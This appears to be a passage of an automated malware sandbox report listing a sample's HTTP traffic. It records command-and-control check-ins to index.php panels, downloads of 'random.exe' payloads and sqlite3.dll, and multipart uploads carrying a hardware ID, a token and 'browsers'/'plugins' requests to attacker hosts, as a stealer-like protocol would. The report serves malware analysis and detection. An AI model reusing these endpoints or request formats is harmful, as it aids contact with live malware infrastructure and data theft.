Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5sb.topAccept: */*Content-Length: 63842Content-Type: multipart/form-data; boundary=------------------------F6Kt4zmRl4u7Vp1IRRQ2QmData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 46 36 4b 74 34 7a 6d 52 6c 34 75 37 56 70 31 49 52 52 51 32 51 6d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4e 65 64 61 62 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 2f 11 09 f9 b5 66 22 f1 26 3a 44 bc 01 66 15 08 04 49 b6 cf 3b 1e 13 11 78 b4 c9 43 c6 6f fa cc d2 cc dc e0 4d 06 d5 b0 b2 7e ce eb 11 3c 66 b4 50 ab c6 fe ed 51 f1 1a 87 55 81 1d 74 24 07 85 6c a6 06 ff de cb 95 4a 8e 20 0f 4f 38 f9 3c ea 88 45 51 b5 53 49 49 42 7d 89 8d f3 8a 82 40 67 d4 c7 46 bb 89 52 22 06 08 2c 2f 27 fd 2d d1 cd 8d 4f 0c 28 ea e7 1f a3 e8 16 f0 9c 66 69 68 3b b6 23 ac 84 33 5d 7c 1d 72 f7 26 48 a3 90 37 05 c0 f7 32 3f 9d b0 db 0d a9 58 c0 3a f7 e1 df 60 1a 25 1f 81 e3 14 98 ec 74 19 9b ef 5d db de 38 95 ef 6f 6b 4e ff 55 86 3f 84 cc 96 7c 30 d7 be 9e 77 cf 6b 89 dd 44 54 e5 02 b8 cd 55 bd 98 11 bf e4 6c 2c 4b 43 cd 07 3f 5e 5b f4 c7 f0 f7 a6 f7 80 ef 1c 7c 11 e0 c7 f0 0d 40 d3 d8 f5 f1 e7 64 a9 b9 e0 ca b3 24 62 b2 38 e4 af 5b d1 6d 71 0b bd 8b 42 ba 4f 98 66 14 fd e5 26 15 25 26 cc 14 33 59 0d 86 80 7f bd 8b 20 b5 22 71 13 f4 06 a1 97 f0 97 4d 5d ad 2f dd 9f ef e8 68 74 6a 6e 64 64 fa 09 52 d6 6d 15 e9 42 0a 14 12 ff 96 be d2 f1 9a b2 1a 4a 14 68 32 2f 4c 8d 4a 9d f6 03 58 f2 09 00 08 e0 31 06 4d a5 19 9a 3e dc e5 da b2 a0 d2 4a 0d 6c c1 40 cd fa 1c c4 6c d8 cc 07 83 24 d1 ae 29 f6 2a 95 f8 5a 72 6e fa 12 68 ff d5 7b 36 5b c2 82 cd c0 3d ff 65 af 46 b3 cf 30 f3 b3 8c c8 95 07 ed a9 c6 e8 2b bb 90 e9 a9 d4 09 c8 70 47 ed 33 17 50 10 2b a1 12 e1 b5 96 4c 27 8d 0d 4d b8 fd cf 3f 02 da 46 02 85 68 21 d8 12 ae 43 06 a1 52 b5 6c 2a 5c bc fe bb 7f 68 0f 71 ef 27 da 45 31 c7 24 09 a6 ec 3d 57 45 7c 1f 02 fc e4 66 c1 2c b1 28 05 4c 75 8c 41 01 75 7c 1a 89 79 8d b0 62 e5 37 db 76 19 bc aa 8d 2c eb f7 12 b3 fe 92 02 24 10 99 be 19 16 be 5e eb 68 af ee 02 a8 60 0f 05 48 b6 49 2a 60 06 9f f7 05 8d 84 54 3d 82 56 d7 36 e8 cf d7 2b 44 56 5d e9 fc b5 0a 13 97 f6 8c 1f 38 2d 0c af 23 54 59 80 7b fd 5e fc 12 2b 3b fd b2 68 8a 9b ba c2 e2 32 06 cd e4 e1 54 fd 04 29 bd b8 d5 a7 c7 ba 97 b5 3a 63 9f b0 e5 9a 29 64 35 43 45 80 e8 95 80 5a 45 47 da a7 68 df 97 f6 d9 3b 97 c5 87 bf 6c 2b 01 3f 5b ba a1 91 6e f4 bd 95 ac f2 32 30 e8 cb 32 8f 8d 31 56 92 23 37 a2 0f 9a 87 bf 4e 6a c9 94 8c 87 2d da e5 27 6b a4 e7 5b cb 6b ac 8f 2a ab 9e 55 a9 80 d5 43 4b 2c 71 78 4d 48 f2 16 21 3b d1 b9 80 05 5e 06 af 21 1a ca 1f 86 30 61 d1 07 04 65 58 77 bb 22 00 53 a2 4b 4c 7a 04 63 e4 aa 7c 87 a8 1b eb db 7d 05 bf 5c eb 0c a8 c4 0a e3 4b 10 7c b9 2f f4 6b 89 f0 59 7c 8f 34 a3 31 20 0c 2c 07 e3 fe c6 d3 84
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019809001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019810001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019811001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKKKEGIDBGHIDGDHDBFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 36 42 37 45 33 44 43 45 34 45 37 35 38 38 30 39 30 31 34 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4b 4b 45 47 49 44 42 47 48 49 44 47 44 48 44 42 46 2d 2d 0d 0a Data Ascii: ------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="hwid"E36B7E3DCE4E758809014------EBKKKEGIDBGHIDGDHDBFContent-Disposition: form-data; name="build"stok------EBKKKEGIDBGHIDGDHDBF--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBKKKFHCFIDHIECGCAFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 62 34 65 63 39 61 31 63 32 32 37 63 34 61 37 33 34 38 35 39 62 61 38 35 32 66 37 30 66 30 62 38 33 66 66 39 62 39 64 62 35 30 37 31 65 64 33 61 39 32 62 62 34 39 62 36 35 30 63 31 30 31 62 65 39 64 63 61 31 32 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 4b 4b 4b 46 48 43 46 49 44 48 49 45 43 47 43 41 46 2d 2d 0d 0a Data Ascii: ------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="token"41b4ec9a1c227c4a734859ba852f70f0b83ff9b9db5071ed3a92bb49b650c101be9dca12------ECBKKKFHCFIDHIECGCAFContent-Disposition: form-data; name="message"browsers------ECBKKKFHCFIDHIECGCAF--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCGIDHDAKJECBFHCBAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 62 34 65 63 39 61 31 63 32 32 37 63 34 61 37 33 34 38 35 39 62 61 38 35 32 66 37 30 66 30 62 38 33 66 66 39 62 39 64 62 35 30 37 31 65 64 33 61 39 32 62 62 34 39 62 36 35 30 63 31 30 31 62 65 39 64 63 61 31 32 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 47 49 44 48 44 41 4b 4a 45 43 42 46 48 43 42 41 41 2d 2d 0d 0a Data Ascii: ------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="token"41b4ec9a1c227c4a734859ba852f70f0b83ff9b9db5071ed3a92bb49b650c101be9dca12------DHCGIDHDAKJECBFHCBAAContent-Disposition: form-data; name="message"plugins------DHCGIDHDAKJECBFHCBAA--
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIEHIIIJDAAAAAAKECBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 62 34 65 63 39 61 31 63 32 32 37 63 34 61 37 33 34 38 35 39 62 61 38 35 32 66 37 30 66 30 62 38 33 66 66 39 62 39 64 62 35 30 37 31 65 64 33 61 39 32 62 62 34 39 62 36 35 30 63 31 30 31 62 65 39 64 63 61 31 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 45 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 2d 2d 0d 0a Data Ascii: ------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="token"41b4ec9a1c227c4a734859ba852f70f0b83ff9b9db5071ed3a92bb49b650c101be9dca12------KFIEHIIIJDAAAAAAKECBContent-Disposition: form-data; name="message"fplugins------KFIEHIIIJDAAAAAAKECB--
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 38 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019812001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJEGCAAECBFIEBGHJDGHost: 185.215.113.206Content-Length: 8275Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 32 32 41 37 35 42 37 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B22A75B75C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivetk5sb.topAccept: */*Content-Length: 27550Content-Type: multipart/form-data; boundary=------------------------LD6ZS6L8rUHFQ5ehyM7ZrTData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 4c 44 36 5a 53 36 4c 38 72 55 48 46 51 35 65 68 79 4d 37 5a 72 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 6f 6a 69 63 75 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0f db fc 92 00 a4 b4 b4 17 2d 84 27 24 e9 64 cc c5 55 b2 88 bd 02 13 a9 01 7e 49 8e a5 e7 65 2b 5d ac 6f 05 0d 41 f6 2a c6 9e 47 6c da ec 9b 40 83 ac 49 6f 82 1c 97 7e 92 b7 7c 37 d6 57 19 84 60 22 33 9d 97 87 a5 9f 18 e7 28 6e f6 ca 74 54 80 12 63 80 92 21 40 f2 0f 52 20 3f a0 bb 63 ec 28 a0 b2 6e 89 d5 55 eb b5 ba 8c 91 a2 c6 66 d0 29 4e bf 40 5d 22 19 66 c0 17 87 8a 62 de 7b 3f a6 e5 74 82 c0 c9 49 84 b6 ba 20 85 dc cd ea 54 c6 98 e0 fc 39 1c 16 d2 ea 15 e1 3e 1f 16 a0 ed a6 1c 3b 14 be ff 09 05 75 76 5f 21 2c 5e ca 63 35 1e d8 50 d8 d5 c4 02 ea 38 bc 26 1c 43 60 41 59 1f 2c b2 0d 26 1d 4d e2 90 07 2d 90 a1 c2 0b e2 ec 89 1d 09 59 08 a6 4b c3 18 17 a4 a8 cd 25 49 ce 0d dc 77 19 6d 40 33 6e 52 6c 58 a3 6c a5 11 e5 a0 2c c5 32 4d 4e da 72 21 aa 88 cb a7 49 3e d2 e6 14 d3 4a 6f 10 4e 8b 92 1d 81 ff fc 0b 9d ab 2e 31 a3 1e 0c 94 3f 25 21 22 7c 2b 05 49 f9 fb 98 37 9f b6 ca fc 12 60 ce f6 b9 3f 1f 82 57 7b 8f 2d 93 0f f2 10 91 6f 56 d2 fc 48 c6 e8 51 59 c2 b4 65 67 eb d8 7d a8 ad f8 0b bd ef 2a 44 2a ed 40 d3 a7 a4 da 4c 61 4d 47 23 f3 db 2c 91 87 db 84 9b a1 72 7b 04 6a 00 0e ba 75 c8 ae 2b 53 85 ee a3 c7 13 7e 1d 96 ed 99 b2 1e 50 12 e9 51 51 d2 be e2 4b 69 96 1c d1 95 83 f6 40 d5 ff 5c f0 c7 b9 ff 19 ca 75 e9 66 93 92 4a 28 d8 6e 84 bf 30 8e 63 c5 06 9f 25 e1 fe 1a 91 7a 36 96 17 f4 65 ea 5c 6e 48 aa 84 3e b9 e3 4b 43 9f d3 92 e0 37 0d ac fc 82 47 33 00 db a8 40 de 62 b3 bb 77 e1 13 ab 90 ac f4 d3 0d e3 29 39 2f 46 2d d6 db c9 9d c6 6b 67 6b ec e9 d2 60 7d 45 e8 3d 69 61 85 c0 b0 b8 bb 6e 42 05 6d 77 36 c5 22 45 e7 71 04 c1 e3 c2 14 b3 63 a7 61 f2 52 87 ad e0 8b 88 ab 3d 1b 2b e9 87 24 b1 04 f3 db e9 13 49 bb a2 1c cf 26 72 c0 07 66 0a 93 b3 92 dd 78 3a 20 6c dd e0 6c 01 56 70 51 a6 37 16 2d f1 f3 e6 e2 c6 df ee 73 14 ca 7d ad 93 2d 6c 79 dd a0 c0 e9 9b f9 42 83 50 85 40 21 4e 38 69 e2 41 6b 18 82 02 eb 3f 2c ce f1 c7 78 d7 7d 71 65 f7 da ef a3 d0 a6 7f 53 95 23 f3 37 c6 3d 94 94 cf 0a 52 4f 02 9c 3c 1e d8 eb 8f 5f 33 bd 6b 79 d9 d8 b6 69 ba 8c ea 2a fb 81 05 86 5c 7d e0 6d 88 04 b4 79 b7 59 39 bb 2b 04 5c a1 57 16 0e 57 d7 16 eb 67 86 39 62 e9 08 dc 9f c1 a5 78 b6 5a d5 ee e8 64 63 f1 c0 26 cb 80 6d 31 a1 3b d7 40 c2 cf 21 23 dd 9e 26 51 6c b6 a4 55 18 31 ab 0f c5 af 07 d1 db 89 32 cc ed f7 ab 40 5a 72 12 18 92 5c 12 fd 13 c7 26 9c 41 a9 f9 84 75 83 1e 28 5f db fb a8 68 52 03 d6 09 a9 99
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /3ofn3jf3e2ljk2/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 212.193.31.8Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 45 35 46 44 44 37 34 37 41 45 46 35 41 37 42 42 36 33 30 36 39 36 36 35 44 39 34 38 41 32 37 32 41 41 44 32 38 44 30 45 37 30 32 32 37 37 44 42 37 34 44 31 35 41 35 37 34 42 42 41 32 36 33 44 45 33 32 36 41 33 44 30 45 37 45 37 45 42 36 32 37 44 31 30 45 41 41 35 37 32 45 43 42 41 30 37 42 37 34 43 42 45 44 34 31 46 36 31 39 46 32 45 41 34 31 46 42 45 45 42 39 46 46 34 45 42 35 31 46 34 35 37 45 43 30 30 30 32 45 43 39 41 45 33 36 34 42 41 39 39 37 33 Data Ascii: r=E5FDD747AEF5A7BB63069665D948A272AAD28D0E702277DB74D15A574BBA263DE326A3D0E7E7EB627D10EAA572ECBA07B74CBED41F619F2EA41FBEEB9FF4EB51F457EC0002EC9AE364BA9973
